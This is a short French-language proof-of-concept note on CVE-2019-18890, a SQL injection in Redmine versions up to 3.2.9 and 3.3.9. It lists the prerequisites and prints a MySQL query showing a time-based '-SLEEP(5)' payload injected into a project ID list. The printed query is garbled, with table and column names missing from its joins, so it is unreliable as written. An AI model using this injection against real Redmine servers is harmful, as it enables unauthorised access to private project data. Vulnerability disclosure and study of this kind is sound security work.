CVE-2019-18890

CVE-2019-18890 POC (Preuve de concept)

REDMINE JUSQU'À 3.2.9/3.3.9 INJECTION SQL

https://nvd.nist.gov/vuln/detail/CVE-2019-18890

Prérequis :

• Identifiants d'accès
• Sous-projet requis
• API REST activée

Sur Mysql, la première requête sur laquelle l'injection se produit ressemble à l'exemple ci-dessous avec "-SLEEP(5)" étant la partie injectée :
SELECT COUNT(*) FROM INNER JOIN ON . = . INNER JOIN ON . = . WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5)))